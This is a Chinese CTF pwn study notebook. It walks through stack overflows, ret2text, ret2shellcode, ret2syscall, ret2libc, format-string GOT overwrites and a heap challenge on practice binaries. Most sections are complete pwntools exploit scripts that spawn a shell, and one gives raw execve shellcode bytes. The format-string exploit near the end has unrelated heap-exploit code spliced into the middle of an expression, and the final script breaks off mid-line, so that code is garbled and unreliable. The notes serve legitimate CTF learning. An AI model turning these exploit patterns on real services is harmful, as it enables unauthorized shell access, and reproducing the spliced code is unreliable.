首先判断程序是32位还是64位
前面有数据的需要计算db包括的字节数
dq是8个字节
pwn流程
1.使用 file 以及 checksec 命令查看文件信息以及保护开启状态。
2.使用IDA打开,F5反编译
3.寻找不安全的方法和切入点
4.编写exploit
栈溢出方法
寻找gets、sprintf、strcpy、strcat这些危险的函数
p.recv() 接受数据
基础溢出
观察有没有gets等不安全的输入
如果有,找到函数r部分,看右侧字节数目
例:
var_40 db 64 dup(?)
s db 8 dup(?)
r db 8 dup(?)
s部分正常输入,r部分可以溢出
64是原变量+8是s部分 是正常输入字节部分,剩余8位r可以溢出
找后门函数的地址,函数名为sub_xxxxxx,其中xxxxxx为内存地址
代码:
from pwn import * #导入pwn模块
p=remote("靶机地址",端口)
payload=b'a'*72+p64(0x40060d) #b代表以字节形式发送,使用'a'(也可以是其他字符覆盖掉72位地址,p64代表64位程序,0x后40060d代表函数地址xxxxxx
p.sendline(payload)#发送payload
p.interactive()#进行远程连接,如果有shell权限可以交互
例2:
#define _GNU_SOURCE // 启用 GNU 扩展
#include
#include
void shell() {
system("/bin/sh"); // 注意: 这个调用在实际应用中可能是危险的
}
void vuln() {
char buf[10];
gets(buf); // 警告: 不安全的函数
}
int main() {
vuln();
return 0;
}
对应的python payload:
#!usr/bin/python
from pwn import *
p = process('./stack')
p.sendline('a'*18+p64(0x400537))
p.interactive()
变量覆盖
例:
var_30 db 44 dup(?)
var_4 dd ?
s db 8 dup(?)
r db 8 dup(?)
读取到第45个字节就覆盖到了var_4的位置了
有判断是否v2==11.28
python代码
from pwn import * #导入pwn模块
p=remote("靶机地址",端口)
payload=b'a'*44+p64(0x41348000)#需要浮点数转为16进制
p.sendline(payload)#发送payload
p.interactive()#进行远程连接,如果有shell权限可以交互
堆栈平衡
找类似
int fun()
{
return system("/bin/sh")
}
的函数,找函数的起始地址
from pwn import * #导入pwn模块
p=remote("靶机地址",端口)
payload=b'a'*23+p64(0x40118A)+p64(0x401186)#需要浮点数转为16进制
p.sendline(payload)#发送payload
p.interactive()#进行远程连接,如果有shell权限可以交互
retn的地址也可以
整数溢出
整数通过溢出数组界来访问内存
就是超过数字范围最大值后自动到最小值了
Read栈溢出
返回导向编程
1.寻找gadget
三种gadget
一、保存栈数据到寄存器
pop rax; ret;
二、系统调用
syscall; ret;
int0x80; ret;
三、会影响浅帧的gadget
leave; ret;
pop rdp; ret;
2.分析gadget
ROPgadget -binary 程序名称
程序中有puts和gets类似的函数,就会调用libc
pwntools
1、linux 下的命令行中自带了文本解码的工具,解码 base64: echo 待解码内容 | base64 -d
2、python3 中可以用 字符串.ljust(num, 'a') 用垃圾字符 a 从左向右填充这个字符串到长度为num
3、python 是一个很好的计算器
4、strings 程序名 | grep sh 在程序中寻找含有sh的字符串
pwntools基本用法
1、一切从 from pwn import * 开始
2、打开连接
本地:io = process("***")
远程:io = remote("https://*******", 端口) (后文以此为例)
3、此时 ”io“ 这个对象已经和本地或远程的一个进程连接上了,我们可以对io进行一系列操作
4、从服务器接收数据
接收一行 io.recvline()
全接收完 io.recv()
通过这种方法接收数据可以得到最本真的数据,包括转义字符等东西也会全部显示出来
io.recvuntil('0x') 在读到 0x 之前一直读入数据
io.recv(14) 读入 14 位数据
5、向服务器发送数据
例如: io.send(b"X0H3M6")
或 io.send(p64(114514))
(意思是讲 114514 这个整数打包成 64 比特宽度的字节流的形式发送出去,如果是 32 位的程序就用 p32() )
需要注意的是,send() 中填的数据类型必须为字节流,而不是对象,因为对象并不是用二进制表示的编码,如果要发送字符串,也不能直接发送 "114514",因为 py 中用引号括起的字符串是一个对象,我们需要用 b"114514" 将它转化为一个bite类型的数据发送出去
6、io.interactive()
进入交互模式
7、shellcraft.sh()
函数可以得到调用shell的汇编代码,我们可以用 asm(shellcraft.sh()) 将它转换为机器码,并发送给待攻击的服务器
8、关于 64 位程序
(1)必须用 context.arch = 'amd64' 把环境转成 64 位
(2)获取 shellcode 必须用 shellcraft.amd64.sh()
(3)16 进制转字节流必须用 p64(0x114514) 9、elf = ELF('./程序名')创建一个 elf 对象 10、elf.plt['system']查找elf对象中 system@plt 的地址 11、next(elf.search(b'/bin/sh'))查找该对象中 /bin/sh 的地址 12、context.log_level = 'debug'` 打开很有用的调式模式
gdb命令
1、gdb 程序名 进入 pwndbg 动态调试( gdb 没写反)
2、break 函数名 或 break 地址值 或 break C语言行号 在某处设置断点
3、run 运行程序 next 步过 step 步进
4、stack 整数 查看多少栈
5、vmmap 显示虚拟内存空间的分布
6、info b 查看当前的断点 d 删除某一个断点
7、c (也就是 continue 的缩写)让程序继续执行到下一个断点或结束
8、got 查看 got 表
9、p &printf 查看 printf 函数的真实地址
10、x / 10wx 地址 查看该地址后 10 个内存单元的内容
11、xinfo 地址 查看该地址信息,包括偏移等
12、hexdump 地址 大小 查看堆块内存分布
13、heap 查看堆信息
14、info variables 查看所有的变量信息
15、p &__bss_start 查看 bss 段起始位置
常见的保护
1、the NX bits:栈不可执行
2、ASLR:内存随机化
3、PIE
4、Canary(金丝雀):
5、RELRO
C语言函数调用栈
函数调用栈的过程是十分复杂的,这里简单记一下笔记 多了我也写不明白
1、基础的寄存器
函数调用栈主要涉及到三个寄存器:
esp(栈指针寄存器):存储当前栈顶的位置,也就是始终指向栈顶
ebp(基址指针寄存器):存储当前函数状态的基地址,指向当前系统栈中最顶部的栈帧的底部
eip (指令指针寄存器):存储 CPU 读入指令的地址,CPU 通过 eip 读取即将执行的指令
2、汇编基础
需要记住的汇编指令有:
mov A, B:将 B 赋值给 A ,也就是 A = B
pop A:将当前栈顶的值赋给 A ,然后弹出这个值
push A:将 A 入栈
ret:等效于 pop eip ,将栈顶的值(也就是 return address)赋给eip,让cpu执行那里的指令
call addr:调用函数
3、调用函数
调用一个函数时,先将堆栈原先的基址(EBP)入栈,以保存之前任务的信息。然后将栈顶指针的值赋给EBP,将之前的栈顶作为新的基址(栈底),然后再这个基址上开辟相应的空间用作被调用函数的堆栈。函数返回后,从EBP中可取出之前的ESP值,使栈顶恢复函数调用前的位置;再从恢复后的栈顶可弹出之前的EBP值,因为这个值在函数调用前一步被压入堆栈。这样,EBP和ESP就都恢复了调用前的位置,堆栈恢复函数调用前的状态。(来源于EBP 和 ESP 详解测试开发小白变怪兽的博客-CSDN博客ebp)
栈溢出
ret2text攻击
1、开始做题,拿到程序之后,用file 程序名 查看文件信息,用 checksec 程序名 查看保护措施
2、IDA 静态分析
3、gdb 程序名 进入 pwndbg 动态调试(gdb没写反)
(1) break 函数名 或 break 地址值 在某函数开头设置断点
(2) run 运行程序 next 步过 step 步进
(3) stack 整数 查看多少栈
4、基本流程:填充垃圾字符到 ebp,ebp 下一个地址就是函数返回地址,将返回地址修改为后门地址
一个最基本的exp:
from pwn import *
io = process('ret2text')
payload = b'a' * 20 + p32(0x8048522)
io.send(payload)
io.interactive()
ret2shellcode
基本原理:利用程序中可读可写可执行的巨大漏洞段注入调用 shell 的 shellcode 并利用栈溢
出跳转函数返回地址为 shellcode 的段并执行
这里以一道很简单的 ret2shellcode 为例:(绝对不是懒得重新写了)
XMCVE2020–ret2shellcode:
拿到程序后,还是一套流程,file 知道这是 32 位程序,checksec 发现程序没开保护并且有可读可写可执行(RWX)区域
拖 IDA 分析,main 函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
基本逻辑就是输入字符串
然后拷贝给 ,我们在汇编中追踪 ,看到了这些东西
可以看出,buf2 可读可写可执行,并且地址是固定的
那就好办了,我们可以通过栈溢出把 shellcode 赋给 ,并且让 main 函数返回到
的地址执行它
exp:
from pwn import *
payload = asm(shellcraft.sh()).ljust(112, b'a')
payload += p32(0x0804A080)
io = process('./ret2shellcode')
io.send(payload)
io.interactive()
*pwntools 中自带的 shellcode 比较长,如果遇到溢出长度不够的情况, 可以使用以下的shellcode
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
ret2syscall — ROP基础
基本原理:当一个程序中既没有后门函数,栈又不可执行时,我们可以利用代码中零散的片段拼出一个完整的可以调用 shell 的代码,这些零散的代码片段叫做 gadget
我们想要拼出的汇编代码长这样:
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
这等效于 execve("/bin/sh", NULL, NULL)
我们可以溢出一大段数据,篡改栈帧上自返回地址开始的一段区域为 gadget 的地址,达到把上面的代码连贯起来执行的效果
以一道最简单的 ret2syscall 为例:
XMCVE 2020 ret2syscall
开始先 file 和 checksec 看到它是32位程序,没有保护
用gdb调试,计算出偏移量为108 + 4 = 112
之后我们就可以开始拼凑 gadget 了
使用插件:ROPgadget
先安装(bing)
基本命令:ROPgadget –binary 文件名 –only "pop|ret" 在二进制文件中查找有pop或ret的汇编语句
在后面加上 | grep eax,就可以找到有 eax 的 gadget,以此类推,可以找到 ebx, ecx, edx
以这道题为例,我们先输入 ROPgadget –binary 文件名 –only "pop|ret" | grep eax,终端找了一会,给我们返回了如下结果:
我们发现地址为 0x080bb196 的gadget十分的好看,就可以利用它构造一小段payload,先用vim打开exp,记录它的地址,接着同理,找到合适的 ebx, ecx, edx 的地址
然后,用 ROPgadget –binary 文件名 –only int 查找 int 0x80
我们还可以用这个命令找一些字符串的地址,比如 ROPgadget –binary 文件名 –string '/bin/sh' ,找到 "/bin/sh" 的地址,记录下来(也可以在 IDA 的 shift+F12 字符串总览里按 ctrl + F 搜索)
以上这些操作进行完之后,我们就可以开始拼凑了
exp:
from pwn import *
io = process("./ret2syscall")
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_ret_addr = 0x0806eb90
bin_sh_addr = 0x080be408
int_0x80_addr = 0x08049421
payload = flat([b'a' * 112, pop_eax_ret_addr, 0xb, pop_edx_ecx_ebx_ret_addr, 0, 0, bin_sh_addr, int_0x80_addr])
io.sendline(payload)
io.interactive()
ps:flat() 函数接收一个列表类型的数据,并将列表中的每个元素转化成字节型数据,不足一字节的补足到一字节
ret2libc
上道 ret2syscall 的题,我们拿到的程序是静态链接的,程序中包含了所有将要用到的库函数,所以我们可以很方便地找到 gadget ,但是在很多时候,题目中的程序都是动态链接的,程序主体往往很小,我们不能在其中找到完整的 gadget,此时我们就可以从它用到的库中寻找出路,也就是 libc
知识点:为什么system调用的参数要向上找两个字节?
要调用 shell ,我们需要让系统执行这样的指令:
而函数调用栈的结构长这样:
可以看到,父函数压入的子函数的参数 arg1, arg2 越过了 Return Address 和 Caller's ebp 两个字长后,才是子函数的局部变量,根据函数调用约定,子函数会自动越过 Return Address 和 Caller's ebp ,网上找他所需要的参数,子函数自己是知道这一点的
而 system 的汇编中,在 pop 掉它自己之后,第一行便是 push ebp 所以此时栈的结构会变成这样:
显而易见的,我们需要让 local var 往上三个字长后读取到的东西是 '/bin/sh',就得把 system 需要的参数填在 system 往上两个字节的位置
ps:上面的文字只是用 system 函数来举例,其实不止是 system 函数,许多函数也遵循这样的攻击规则,如 gets,puts 等,具体怎么填参数,要由这些函数的底层汇编决定
知识点:程序动态链接的过程
静态链接虽然方便,但带来的是大量内存空间的浪费,以及各种各样的问题,于是动态链接应运而生
在动态链接的程序中,每个函数对应了两个东西,plt 表和 got 表
(以 system 函数为例)
其中 plt 可以类比为 system 在这个程序中的表象,是一串写死在 elf 中的代码,它具有两个功能
1、询问 got 表 system 函数在 libc 中的地址
2、如果 got 表中没有存入这个地址,就调用一个复杂的解析 (resolve) 函数,找出 system 在 libc 中的地址,并把这个地址存在 got 表中(解析函数的具体实现,我们不需要知道 我也不知道)
而 got 表存储的是一个地址,在初始状态指向 plt 表中查询 got 表那一行代码的下一行代码
写不清楚,直接上图
第一次调用的流程如下:
第二次调用的流程就简单多了
XMCVE 2020 ret2libc2:
file+checksec 32位动态链接无保护,拖 IDA 静态分析,发现gets漏洞,gdb 调试,偏移量108+4
这是一个动态链接的程序,我们不能用 ret2syscall 构造 gadget 的方法拿到 shell ,但我们可以构造出形如 system('/bin/sh') 的代码段并让程序执行,根据基础知识,我们需要整出这样的结构
汇编代码中有 system 但没有 /bin/sh ,所以我们需要自己写入一个 "/bin/sh" 并填入它的地址
翻一翻 bss 段(用来存储一些全局变量的),发现在 0x0804A080 的地方藏了个 char buf2,那么我们可以先调用一个 gets,然后把 /bin/sh 输入到 buf2 里,再在调用 system 的时候返回到 buf2,也就是这样一个结构:
exp 如下:
from pwn import *
io = process("./ret2libc2")
io.recv()
sys_addr = 0x8048490
gets_addr = 0x8048460
buf2_addr = 0x804a080
pop_ret = 0x0804843d
payload = flat([b'a' * 112, p32(gets_addr), p32(pop_ret), p32(buf2_addr), p32(sys_addr), b'aaaa', p32(buf2_addr)])
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
XMCVE 2020 ret2libc3
32位程序无保护,偏移量 56 + 4
拖进 IDA 一看,欸,没有 system 也没有 /bin/sh
先找漏洞点,乍一瞅看不出来
char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
//省略一段代码
read(0, buf, 0xAu);
//省略一段代码
read(0, src, 0x100u);
两个 read 对应的数组长度都对的不能再对了
漏洞点在后面的
函数里
char dest[56]; // [esp+10h] [ebp-38h] BYREF
strcpy(dest, src);
看似只是将
复制到了 中,但是 只开了 56 长度,
的长度有 256 很明显会发生栈溢出
好了回到刚才的问题,没有 system 和 /bin/sh 怎么溢出?
这是一个动态链接的程序,所以 ret2syscall 不可行,但是动态链接也有它的漏洞
动态链接的程序运行时,会把需要的动态链接库整个载入到内存中,就像这样:
就算开启了内存随机化保护,动态链接库也是一个不会被拆开的整块,也就是说,各个函数间的相对距离是永远不变的,而我们肯定有 libc 文件,所以只需要知道其中任意一个函数载入内存后的地址,就可以推出所有函数的地址
而这道题比较的简单,它给我们的程序就是一个内存查询工具,所以我们只需要让他查询一个已执行函数的 got 表里存了什么,就能知道这个函数在内存中的地址,也就能得到 system 的地址
exp:
from pwn import *
io = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = ELF('libc-2.27.so')
io.recv()
io.sendline(str(elf.got['puts']))
io.recvuntil(b': ')
puts = io.recv(10)
sys = int(puts, 16) - libc.symbols['puts'] + libc.symbols['system']
sh = next(elf.search(b'sh\x00'))
payload = flat([cyclic(60), p32(sys), cyclic(4), p32(sh)])
io.send(payload)
io.interactive()
XMCVE 2020 练习题 pwn2_x64
这道题比较简单,给了 system 和 /bin/sh 主要特殊的点在于:它是个64位程序
特殊在什么地方呢?一般的32位程序中,调用函数时传的参数都被压在栈里了,但是 x64 不太一样,在调用函数时,前 6 个参数会挨个依次存在 rdi, rsi, rdx, rcx, r8, r9 这几个寄存器中,之后的参数才会压到栈里,system 只有一个参数,我们在构造 payload 的时候要整出这样一个结构:
在脑海中把这 3 行栈模拟一遍就能想明白了,exp 如下:
from pwn import *
context.arch = 'amd64'
sys = 0x40063e
binsh = 0x600a90
pop_rdi_ret = 0x4006b3
payload = flat([cyclic(136), p64(pop_rdi_ret), p64(binsh), p64(sys)])
io = process('./level2_x64')
io.recv()
io.send(payload)
io.interactive()
XMCVE 2020 练习题 pwn3
32 位,无保护,偏移量 136 + 4
但是这道题有一个跟上面的 ret2libc3 不一样的地方,上面那道题给了我们内存查找的实现,我们可以直接很方便的得到 libc 的基地址,但是这道题什么都没有,需要我们自己泄露
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
依旧是一个简单的栈溢出漏洞,现在的主要问题是如何找到 libc 的基地址
我们知道,利用 ROP,我们可以控制程序的执行流,让我们想执行什么就执行什么,我们通过让它执行 system(/bin/sh) 拿到了shell,那我们可不可以让他执行 write(libc中某个函数在内存中的真实地址) 让它把地址自己告诉我们呢?显然是可以的,又因为这个时候,write 函数肯定执行过了,所以我们可以让它输出 write 的 got 表内容,得出 libc 基地址
只要构造这样一个结构就好了:
但是如果这样整的话,write 完之后程序就结束运行了,这显然不是我们想要的,那么既然我们可以用 ROP 做到任何事,为什么不能再让它执行一次 vulnerable_function 呢?
所以第一个 payload 如下: payload = flat([cyclic(140), p32(write.plt), p32(vun), p32(1), p32(write.got), p32(4)])
接下来,只需要接收到它给你发送的地址,然后再利用这个地址搞到 system 和 /bin/sh 就好了
exp:(应该是目前为止最长的了)
from pwn import *
#pian yi liang 136 + 4
io = process('./level3')
io.recv()
elf = ELF('./level3')
#libc = ELF('./libc-2.19.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#write.plt = elf.plt['write']
write.plt = 0x8048340
write.got = elf.got['write']
vun = elf.symbols['vulnerable_function']
payload = flat([cyclic(140), p32(write.plt), vun, p32(1), p32(write.got), p32(4)])
io.sendline(payload)
a = io.recv(4)
libc_write = u32(a)
lb = libc_write - libc.symbols['write']
sys = lb + libc.symbols['system']
binsh = lb + next(libc.search(b'/bin/sh'))
payload = flat([cyclic(140), p32(sys), cyclic(4), p32(binsh)])
io.send(payload)
io.interactive()
NSSCTF-889-Where_is_shell
很久没写题解了,这道题本来只是一个简单的ret2text,但是其中涉及了一个没有接触过的知识点
调用shell的方法,除了 system('/bin/sh') 和 system('sh') 之外,linux 中的 shell 自带了一些变量,其中 是指本身的文件名,这道题代码段的中有
0,我们可以给 system 传 $0 的参拿到 shell
小坑:注意堆栈平衡
exp:
from pwn import *
io = process('./shell')
#io = remote('1.14.71.254', 28198)
elf = ELF('./shell')
offset = 0x10
shell = next(elf.search(b'$0'))
sys = elf.plt['system']
rdi = 0x00000000004005e3
ret = 0x0000000000400416
print(hex(shell))
payload = cyclic(offset + 8) + p64(ret) + p64(rdi) + p64(shell) + p64(sys)
io.sendline(payload)
io.interactive()
格式化字符串漏洞
利用格式化字符串漏洞,就是利用 printf 函数的设计缺陷来达到内存泄漏或篡改内存的目的
格式化字符串
基本格式:%[parameter][flags][field width][.precision][length]type
重点有以下两个:
parameter:获取格式化字符串中的指定参数
例如:printf("%3$d", a, b, c) 执行后只会输出
type:输出的类型
%d:有符号整数
%u:无符号整数
%x:16进制无符号整数,但是不会输出 0x
%c:输出一个字符
%s:输出一个指针所指地址内存放的字符串
%p:输出一个地址,有 0x
%n:不输出字符,但是把已经成功输出的字符个数写入对应的指针参数所指的变量中
其中 %s 和 %n 要重点理解,类比于 got 表的地址和 got 表中存放的地址
printf 的漏洞
我们知道,printf 函数的一般格式是这样的:
char a[11] = "hello world";
printf("%s\n", a);
但是,printf 函数不检查占位符的数量和后面给的参数是否匹配
所以我们把程序改成这样:
char a[11] = "hello world";
printf("%s\n%p\n%x\n", a);
输出了一些奇怪的值
hello world
0x7ff9f2edc
5661d594
它到底输出了什么?
我们联想一下,在32位程序中,调用函数的参数传递是依靠栈来进行的,在正常情况下,程序老老实实地取用了 "hello world" 字符串
但是别忘了,栈上还有其他的数据,所以如果参数一旦填多,就会强行把数据输出出来
所以我们就可以泄露栈上的数据了
XMCVE 练习题 fmtstr1
32位,有 Canary,不能栈溢出,IDA 静态分析如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
程序逻辑为把你输入的东西输出出来,如果变量
的值为 4 就给你 shell
可以很容易地看出,漏洞出在 printf(buf) 这里,我们可以利用格式化字符串漏洞
双击变量 跟进,得到 的地址为 0x804A02C,我们可以利用 %n 将 4 写入到
中
先上 payload:p32(0x804A02C) + b"%11$n"
程序先 read 再 printf,也就是会把我们输入的内容在调用 printf 时再压入栈中一次,用作 printf 的参数,上 gdb 动态调试一下,可以看到在刚刚调用 printf 时栈是这样的
可以看到,在地址 0xFFFFCE80 和 0xFFFFCE84 中的,就是刚刚压进来的给 printf 的参数,其中CE80 为格式化字符串,CE84 为格式化字符串的参数,printf 会从格式化字符串,也就是 CE80 开始向高地址找参数,我们从 CE80 往高地址数,数到 read 进去的 'aaaa\n' 刚好是11个字节,所以偏移量为11
记录目前用时最长的一道题(2天)—— BUUCTF wdb_2018_2nd_easyfmt
2018年网鼎杯的比赛原题,32位无保护,无栈溢出,有格式化字符串漏洞,无system无 /bin/sh
IDA 静态分析如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v4; // [esp+6Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Do you know repeater?");
while ( 1 )
{
read(0, buf, 0x64u);
printf(buf);
putchar(10);
}
}
我们知道,利用格式化字符串漏洞,我们可以篡改内存中的值,在这道题什么都没有的情况下,我们可以从 libc 里找突破口
众所周知,got 表中存放了某函数在内存中的真实地址,以供动态链接使用,那我们如果能篡改 got 表,就可以执行我们想要的函数了,所以我们可以挑一个函数,将它的 got 表内容修改为 system 函数的真实地址,puts 函数明显符合我们的需求
要实现把 puts 的 got 表内容修改位 system 的真实地址,需要以下几步:
1、泄露 libc 地址
2、计算 system 地址
3、将 system_addr 写入puts@got 中
因为到
的时候 puts 函数肯定执行过了,所以我们可以利用格式化字符串漏洞泄露 puts@got 的地址,得出 libc 的基地址,这部分用 gdb 计算偏移,用 %n$s 泄露
payload1:payload1 = b'%7$s' + p32(elf.got['puts'])
(坑点:偏移量的计算很搞心态,在底下会详细说,只能用 %s 不能用 %p,因为 %p 不解引用,用 %p 只能得到 got 表在哪,不能知道 got 表里放了什么东西)
计算 system 地址:略
篡改 got 表: 这是这道题最难也是最搞心态的一点,能写多详细就写多详细
程序的逻辑为先读入 ,再将 作为 printf 的参数,而 是个局部变量,读入的数据会存放在栈上,所以如果我们在栈上通过
写入 got 表的地址,再通过 %x$n ,就可以覆写 got 表
这里在构造 payload 计算偏移时,可以先把关键值空出来,在 gdb 里动态调试
我们在 gdb 里调试,看到 puts 的真实地址是 0xf7e0cd90,system 的真实地址是0xf7de23d0,如果一次全部覆盖完,要输出的空格数太多了,所以我们可以先修改后两个字节,再修改前面两个字节,修改前两个字节时,要指向的地址自然就是 printf@got + 2
payload2:flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low – 8), 'c%6$hn', '%', str(sys_hi – sys_low), 'c%7$hn'])
完整 exp 如下:
from pwn import *
context.binary = './easyfmt'
#context.log_level = 'debug'
io = process('./easyfmt')
#io = remote('node4.buuoj.cn', 28845)
elf = ELF('./easyfmt')
#libc = ELF('./libc-2.23-x32.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if args.G:
gdb.attach(io)
io.recv()
puts_got = elf.got['puts']
payload1 = b'%7$s' + p32(elf.got['puts'])
io.send(payload1)
puts_real = u32(io.recvuntil('\xf7')[-4:])
printf_got = elf.got['printf']
offset = puts_real - libc.symbols['puts']
sys_real = offset + libc.symbols['system']
sys_low = sys_real & 0xffff
sys_hi =1
elf_base = int(io.recv(14).ljust(8, b'\x00'), 16) - 0x1274
libc_base = int(io.recv(14).ljust(8, b'\x00'), 16) - libc.symbols['__libc_start_main'] - 243
atoi_got = elf_base + elf.got['atoi']
sys = libc_base + libc.symbols['system']
print(hex(atoi_got))
print(hex(sys))
io.recv()
io.sendline(b'4')
print(p64(atoi_got))
edit(b'0', b'114514', cyclic(13) + p64(atoi_got), p64(sys))
io.recv()
io.send(b'/bin/sh')
io.interactive()
- sys_real >> 16) & 0xffff)
payload2 = flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low - 8), 'c%6$hn', '%', str(sys_hi - sys_low), 'c%7$hn'])
#payload3 = fmtstr_payload(6, {printf_got:sys_real}, write_size = 'short')
payload3 = flat(['%', str(sys_low), 'c%13$hn', '%', str(sys_hi - sys_low), 'c%14$hnaa', printf_got, printf_got+2])io.send(payload2)
time.sleep(0.2)
io.send(b'/bin/sh\x00')
io.interactive()
总结一下这道题的坑点:
1、偏移量的计算很搞心态 很可能是我不熟练
2、程序刚执行的时候只用了 puts 没有用 printf,所以泄露 libc 只能用 puts 来完成
3、在格式化字符串中填入参数时,一定要用 str() 把整数转换成字符串传输
4、32 位和 64 位的 libc 是不一样的,不要用错了
最后,pwntools 里内置了构造篡改 got 表的 payload,具体写法为上文中被注释掉的 payload3,其中第一个参数为偏移量,第三个参数为按照多少个字长的长度写(byte:按字节,short:两个字节,int:四个字节,也就是一个字长),这个函数生成的 payload 跟没有注释掉的 payload3 长的一样,但是因为这个 payload 中把地址写在了后面,会导致偏移量的不好计算,而且涉及了一个字节的补全问题,不是很方便,还是按照 payload2 的写法比较好
堆利用
记录目前实际用时最长的一道题(5h+)攻防世界 new-easypwn
本来我是想做栈的,然后下了一道堆的题,然后就走上了不归路
基本信息:64位保护全开,还去了符号表
那栈溢出的路基本就被堵死了
进 IDA,看到了这个这一看就是典型的堆题了
因为去除了符号表,我也刚刚学堆,所以看懂程序逻辑并且给变量重命名花了不少时间在这里可以看到,我们把 phone number 和 name,以及 des 的地址,都保存在了 bss 段里了
并且在 edit 函数的这里,并没有限制输入长度,保存 des 地址的地方又紧跟在 name 后面,所以我们可以进行一个地址溢出,把程序以为的 des 地址篡改成一个我们想要的值
很显然,show 函数的这里有一个格式化字符串漏洞,传进来的参数正是我们输入的 name,那么我们可以利用这个漏洞泄露 elf 和 libc 的地址,从而得出基地址
那么我们可以得出一个基本的攻击思路:先利用格式化字符串泄露出栈上的地址,从而计算出 elf 和 libc 的基地址,利用保存 des 地址的地方的溢出来篡改 des 地址为 menu 函数中 atoi 函数的 got 表地址,然后将 atoi@got 的值修改为计算出的 system 函数的真实地址,再利用 menu 中的 buf 传进 /bin/sh,就可以优雅的执行 system('/bin/sh')
这里介绍一个十分好用的指令:
xinfo 地址 显示这个地址的信息,我们主要能用他得出打开 PIE 保护的情况下当前地址相对于基地址的偏移
用格式化字符串泄露地址并算出基地址之后,我们要做的就是把 bss 段里的 chunk_addr 覆盖成 atoi 的 got 表的地址,对于偏移量的计算,这里有两种方法:
1、在 IDA 中查看偏移量为 0xF8 – 0xE0 = 0x18 = 24,我们要利用 name 溢出,垃圾字符的长度就是 24 – 电话号码的长度 11 = 13
2、gdb 调试
我们输入 hexdump &__bss_start 130 可以查看 bss 段的130个字节如图,可以自己数出来
exp:
from pwn import *
context.log_level = 'debug'def add(phone_number, name, des_size, des_info):
io.recv()
io.sendline(phone_number)
io.recv()
io.sendline(name)
io.recv()
io.sendline(des_size)
io.recv()
io.sendline(des_info)def delete(index):
io.recv()
io.sendline(index)def show(index):
# input()
io.recv()
io.sendline(index)def edit(index, phone_number, name, des_info):
io.recv()
io.sendline(index)
io.recv()
io.sendline(phone_number)
io.recv()
io.sendline(name)
io.recv()
io.sendline(des_info)io = process('./hello')
elf = ELF('./hello')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# io = remote('61.147.171.105', 53791)
# libc = ELF('libc-2.23.so')if args.G:
gdb.attach(io)io.recv()
io.sendline(b'1')
add(b'%9$p%13$p', b'x0h3m6', b'10', b'hacked')
io.recv()
io.sendline(b'3')
show(b'0')
print(io.recvuntil(b'number:' [↩]